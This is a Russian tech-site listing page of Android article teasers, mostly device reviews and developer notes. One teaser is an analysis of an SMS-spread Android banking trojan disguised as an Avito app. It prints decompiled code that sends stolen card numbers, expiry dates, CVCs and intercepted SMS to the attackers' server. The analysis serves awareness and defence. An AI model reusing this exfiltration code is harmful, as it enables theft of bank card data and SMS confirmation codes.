Рубрика «android» - 222

Когда речь заходит о недорогих планшетах и их процессорах, то в числе первых мы вспоминаем чипы китайского производителя Rockchip, на базе которых выполнено множество недорогих, но достаточно мощных устройств, работающих под управлением операционной системы Android. Наибольшей популярностью в настоящее время пользуются достаточно неплохие процессоры Rockchip RK3188, благодаря которым компании удалось завоевать весьма прочные позиции на рынке мобильных устройств.

PiPO P1 — планшет на базе нового процессора RK3288

Однако, время не стоит на месте, и на смену этому чипу идет более мощный процессор RK3288, который мы увидим в обзоре нового планшета от компании PiPO.
Читать полностью »

Разместил я, ничего не подозревая, объявление на avito.ru. Сколько раз туда ходил! Но на этот раз как-то не удалось…
Я давно был уверен, что многие нехорошие люди парсят телефонные номера с этого сайта, так что такси, строительные материалы, скорая компьютерная помощь, «8-800-555-3-555 — проще позвонить, чем у кого-то занимать» и приглашения на битву экстрасенсов для меня уже привычное дело, но на этот раз было нечто новое.

Приходит мне СМС-сообщение с текстом: «Зaинтерсoвaлo вaше oбьявление кaк нaсчет oбменa нa http://…». Прямо вот так, с пропущенным знаком препинания и ошибками. А по ссылке качается avito.apk. Интересно.

Исследование APK

Ну, подумал я, надо бы глянуть, что этот APK делает. Результат привычной для меня связки из apktool + dex2jar + jd-gui меня не удовлетворил, т.к. не было видно часть классов деревом, хотя доступ по ссылкам к ним получить было можно. Решил я воспользоваться новомодными онлайн-sandbox'ами — и декомпилированный код получил, и информацию, и pcap-файл со сдампленным трафиком. Как оказалось, этот файл загружали до меня, поэтому в мои руки попал более ранний анализ, что было достаточно полезно.

Итак, что умеет этот троян:

  • delivery&&& — рассылка СМС-сообщений на номера из телефонной книги с заданным текстом
  • sent&&& — отправка заданных СМС-сообщений с сервера
  • rent&&& — перехват всех СМС-сообщений и отправка их на сервер
  • sms_stop&&& — отмена перехвата СМС-сообщений
  • ussd&&& — USSD-запрос
  • call_1&&& — установка и отмена безусловной переадресации

Немного кода из моих заметок

protected HttpRequestBase a()
    {
        try
        {
            HttpPost httppost = new HttpPost(d());
            ArrayList arraylist = new ArrayList();
            arraylist.add(new BasicNameValuePair("bot_id", com.avito.a.c.a(c())));
            arraylist.add(new BasicNameValuePair("number", b));
            arraylist.add(new BasicNameValuePair("month", Integer.toString(c.intValue())));
            arraylist.add(new BasicNameValuePair("year", Integer.toString(d.intValue())));
            arraylist.add(new BasicNameValuePair("cvc", Integer.toString(e.intValue())));
            httppost.setEntity(new UrlEncodedFormEntity(arraylist, "UTF-8"));
            return httppost;
        }
        catch(UnsupportedEncodingException unsupportedencodingexception)
        {
            unsupportedencodingexception.printStackTrace();
        }
        return null;
    }

    protected String d()
    {
        return new String((new StringBuilder()).append(a).append("set_card.php").toString());
    }






    protected HttpRequestBase a()
    {
        try
        {
            HttpPost httppost = new HttpPost(d());
            ArrayList arraylist = new ArrayList();
            arraylist.add(new BasicNameValuePair("id", com.avito.a.c.a(b)));
            arraylist.add(new BasicNameValuePair("info", com.avito.a.c.b(b)));
            httppost.setEntity(new UrlEncodedFormEntity(arraylist, "UTF-8"));
            return httppost;
        }
        catch(UnsupportedEncodingException unsupportedencodingexception)
        {
            unsupportedencodingexception.printStackTrace();
        }
        return null;
    }

    protected String d()
    {
        return new String((new StringBuilder()).append(a).append("get.php").toString());
    }




    protected HttpRequestBase a()
    {
        try
        {
            JSONObject jsonobject = new JSONObject();
            jsonobject.put("text", c);
            jsonobject.put("number", d);
            jsonobject.put("date", e);
            HttpPost httppost = new HttpPost(d());
            ArrayList arraylist = new ArrayList();
            arraylist.add(new BasicNameValuePair("bot_id", com.avito.a.c.a(b)));
            arraylist.add(new BasicNameValuePair("sms", jsonobject.toString()));
            httppost.setEntity(new UrlEncodedFormEntity(arraylist, "UTF-8"));
            return httppost;
        }
        catch(UnsupportedEncodingException unsupportedencodingexception)
        {
            unsupportedencodingexception.printStackTrace();
        }
        catch(JSONException jsonexception)
        {
            jsonexception.printStackTrace();
        }
        return null;
    }

    protected String d()
    {
        return new String((new StringBuilder()).append(a).append("load_sms.php").toString());

Помимо этих команд, троян отключает Wifi Sleep, пытается получить доступ к зашифрованному хранилищу и установить себя в качестве Android-администратора (естественно, при этом используются стандартные диалоги ОС, где можно отменить данное действие). Код трояна не обфусцирован, некоторые строки закодированы base64. Вообще непонятно, что это за троян такой. То ли его собирали копипастой, то ли он основан на каком-то другом трояне, то ли еще что, но в нем имеются строки на португальском, немецком, английском, Ubuntu-шрифты, форма для перехвата данных из приложения немецкого банка Commerzbank, значок какой-то игры и флеш-плеера.Читать полностью »

Контур.Эльба под Android. Записки разработчика В конце прошлого года я присоединился к команде веб-сервиса Эльба, и мы приступили к разработке «электронного бухгалтера» для Android.

В этом посте я расскажу о том, почему мы отказались от мобильной версии сайта в пользу приложений, на какие грабли в процессе разработки наступили и что из этого получилось.

Статья будет полезна:

  • андроид-разработчикам;
  • руководителям разработки веб-сервисов, которые подумывают выходить на мобильный рынок;
  • предпринимателям, которые уже давно ищут способ «запихнуть свой бизнес в телефон».

Читать полностью »

Привет!

В сентябре на IFA 2014 Samsung представит преемника Note III, новый смартфон с 5,75 дюймовым Quad HD дисплеем, традиционной для этой линейки S-Pen и передовой начинкой. Подробнее о подтвержденных данных и о слухах, а также об истории линейки с 2011 года — в этом посте.

image

Экскурс в историю

Об этой компании в рамках Истории брендов я уже писал тут: История Samsung Electronics: От сушеной рыбы до высоких технологий. А сейчас предлагаю посмотреть, как смартфоны Galaxy Note менялись с течением времени.

Читать полностью »

Начало истории

Пришел мне на доработку проект написанный на cocos2d. Игра для детей, в которой необходимо собирать пазлы и учить слова. Работа как работа, но главная проблема заключалась в том, что до меня над проектом работала некая девушка из Индии. И тут у меня начался очень веселый период. Пример того, на что мне пришлось смотреть, что делать и чем все это закончилось, будет под катом.

Читать полностью »

В Android до сих пор нет API для USSD-запросов. Баг висит уже 6 лет!
Я находил разные способы создания и получения информации из USSD запросов, но в итоге ни один не устроил.
Затем я нашел упоминания о том, что с помощью обновленных в Android 4.0 служб спец. возможностей можно легко получать содержимое окон и так получить текст из окна и результатом USSD запроса. Попробовал — получается отлично! Без перезагрузок и надежно. Читать полностью »

Первый шаг к умному дому или удаленное управление домашней техникой
Вам надоело переживать о не выключенном утюге или свете. Вам надоело постоянно под боком держать несколько пультов дистанционного управления от бытовой технике. Если, да, то думаю, небольшой обзор об устройстве которое позволяет нам облегчить жизнь, вам должен понравиться.
Читать полностью »

Двадцать лет первому смартфону, разбор того, почему так быстр Swift, ежегодная конференция Unity с несколькими интересными обновлениями, ВКонтакте запускает мобильную рекламу приложений, в Калифорнии пытаются удаленно «убивать» смартфоны – вот немного о том, что в этом еженедельном дайджесте.

Полезные материалы для мобильного разработчика #67 (18 24 августа)Читать полностью »

Если до недавних пор защиту от воды и пыли получали только флагманские модели Sony, то новая модель средней ценовой категории – Xperia M2 Aqua – призвана разрушить этот стереотип. Более того, новинка обладает более высоким классом защиты – IP68, что, согласно международной классификации, означает абсолютную защиту от пыли и полную водонепроницаемость с гарантией работоспособности под водой!

Анонс Xperia M2 и начало продаж Xperia C3

Читать полностью »

В поисках эпизодически вылезающей ошибки, наткнулся на неожиданное поведение метода Double.parseDouble(). Исполнение кода

Double.parseDouble("4cff9d79-a696-4dfc-89f9-a265ae117257")

не привело к выбрасыванию исключения NumberFormatException. Код вполне корректно отработал и выдал результат — Infinity.
Читать полностью »


https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js